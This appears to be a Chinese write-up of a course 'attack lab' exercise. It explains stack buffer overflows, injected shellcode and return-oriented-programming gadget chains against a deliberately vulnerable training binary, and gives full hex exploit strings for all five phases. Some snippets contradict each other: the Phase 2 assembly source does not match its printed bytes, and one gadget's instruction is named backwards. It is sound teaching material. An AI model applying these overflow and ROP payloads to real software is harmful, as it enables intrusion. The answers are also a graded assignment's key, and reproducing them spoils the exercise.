Phase 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| .text:00000000004017A8 .text:00000000004017A8 public getbuf .text:00000000004017A8 getbuf proc near .text:00000000004017A8 .text:00000000004017A8 buf = byte ptr -28h .text:00000000004017A8 .text:00000000004017A8 .text:00000000004017A8 sub rsp, 28h .text:00000000004017AC mov rdi, rsp .text:00000000004017AF call Gets .text:00000000004017B4 mov eax, 1 .text:00000000004017B9 add rsp, 28h .text:00000000004017BD retn .text:00000000004017BD .text:00000000004017BD getbuf endp
|
getbuf在栈上分配了0x28字节的空间,作为参数传递给了Gets,在Gets中,循环getchar,直到获取到了-1(EOF)或者10(\n)则停止。
根据栈的分配规则,可以推断返回地址就在0x28+0x8的位置,只需要利用缓冲区溢出写入目标函数touch1的地址即可使程序放回到touch1。
因为64位系统上指针大小为8个字节,所以8字节一行更方便阅读。
前0x28字节输入填充任意字符,再写入touch1的地址,即可构造出答案。
Phase 2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| void __fastcall __noreturn touch2(unsigned int val) { vlevel = 2; if ( val == cookie ) { __printf_chk(1LL, "Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { __printf_chk(1LL, "Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
|
反编译touch2的代码,touch2对传入的参数(edx)进行了校验。简单地对栈返回地址直接修改是无法达成修改寄存器的目的的。
简单回忆一下,栈是内存中的一段固定空间,初始状态栈指针指向栈最大的地址,从栈上分配空间需要对栈指针进行减操作,释放空间需要对栈指针进行加操作。既然程序运行是通过mmap文件到内存中进行执行,那么我们可以通过在栈中直接写入二进制代码,使返回到栈上执行我们注入的代码,这样就可以达成修改寄存器的目的了。
使用mov修改rdi,再将touch2的地址入栈,返回,即可跳转到touch2
1 2 3
| movq $0x59b997fa, %rdi pushq $0x4017ec ret
|
编译shellcode
关于如何获取汇编,比较方便的方法是直接编写s文件,让gcc编译。
这里介绍一个在逆向工程里面经常用到的工具,keystone
keystone有各种语言的binding,这里使用python
1
| pip install keystone-engine
|
1 2 3 4 5 6 7 8 9 10 11
| from keystone import *
Shellcode_instruction = ''' mov rdi, 0x5561dca8 push 0x4018fa ret '''
KS = Ks(KS_ARCH_X86, KS_MODE_64) code, count = KS.asm(Shellcode_instruction) print(f"Hex\t{''.join(map(lambda x: ' ' + hex(x)[2:], code))}")
|
1
| Hex 48 c7 c7 fa 97 b9 59 68 ec 17 40 0 c3
|
得到shellcode的二进制,接下来需要获得栈的地址,这一步推荐使用gdb下断点来获取rsp的值。
Phase 3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| int __fastcall hexmatch(unsigned int val, char *sval) { const char *v2; char cbuf[110]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); v2 = &cbuf[random() % 100]; __sprintf_chk(v2, 1LL, -1LL, "%.8x", val); return strncmp(sval, v2, 9uLL) == 0; } void __fastcall __noreturn touch3(char *sval ) { vlevel = 3; if ( hexmatch(cookie, sval) ) { __printf_chk(1LL, "Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { __printf_chk(1LL, "Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
|
touch3基于touch2的基础上,将参数改为了一个字符串,通过hexmatch函数进行对比。
hexmatch被传入了cookie,然后通过格式化输出十六进制到cbuf,再使用strncmp比较。
但是在同样方法构造了shellcode之后,会发现seg fault了,原因是hexmatch开了100字节栈空间,会把我们注入的数据覆盖。所以我们需要寻找新的注入点,保证我们的数据不会被覆盖。
观察代码,可以发现test的空间相对可用,同样使用gdb获得rsp的值
1 2 3
| mov rdi, 0x5561dca8 push 0x4018fa ret
|
1
| Hex 48 c7 c7 a8 dc 61 55 68 fa 18 40 0 c3
|
值得注意的而是,C-style string是以\0结尾的,所以我们最后要加上00。
Phase 4
根据WriteUp,这个阶段ctarget启用了栈随机化和栈不可执行的保护,所以我们只能通过程序原来的函数对数据进行操作。这种编程方式叫做Return-Oriented Programming/ROP。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| void __fastcall __noreturn touch2(unsigned int val) { vlevel = 2; if ( val == cookie ) { __printf_chk(1LL, "Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { __printf_chk(1LL, "Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
|
首先给rdi赋值为cookie,但是没有现成的gadget。
参考我们前面的操作,可以先把cookie放在栈中,利用pop弹出到某个寄存器,然后再用mov移动到rdi上。
WriteUp给出的指令和Hex对应

但是这里有一个坑,我们把所有的pop指令找完之后,发现后面跟的都不是c3,也就是ret。
其实汇编里面有一个指令叫nop,hex为0x90,表示没有操作,而刚刚好,我们可以找到58 90 c3。
那么这个指令我们有0x4019ab和0x4019cd两个匹配,选择其中一个即可。
查表,mov rax, rdi; ret为48 89 c7 c3,刚好我们0x4019a2就有。
到这里,我们就可以构建出完整的调用链了。
Phase 5
和上面Phase 3一样,hexmatch会开启一个大的栈空间,会把我们注入的代码覆盖,所以要注入到不会被覆盖的位置。test的栈帧由于栈随机化,我们同样无法访问,所以我们需要对rsp加上一个偏移。
两个函数的c代码和上面的一样。
1 2 3 4 5 6 7 8 9 10 11
| movq %rsp, %rax movq %rax, %rdi popq %rax 0x48 movl %eax, %edx movl %edx, %ecx movl %ecx, %esi lea (%rdi, %rsi, 1), %rax movq %rax, %rdi touch3 ACSII C-style string of cookie
|
Answer
Phase 1
1 2 3 4 5 6
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
|
Phase 2
1 2 3 4 5 6
| 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
|
Phase 3
1 2 3 4 5 6 7 8
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
|
Phase 4
1 2 3 4 5 6 7 8 9
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
|
Phase 5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 cc 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
|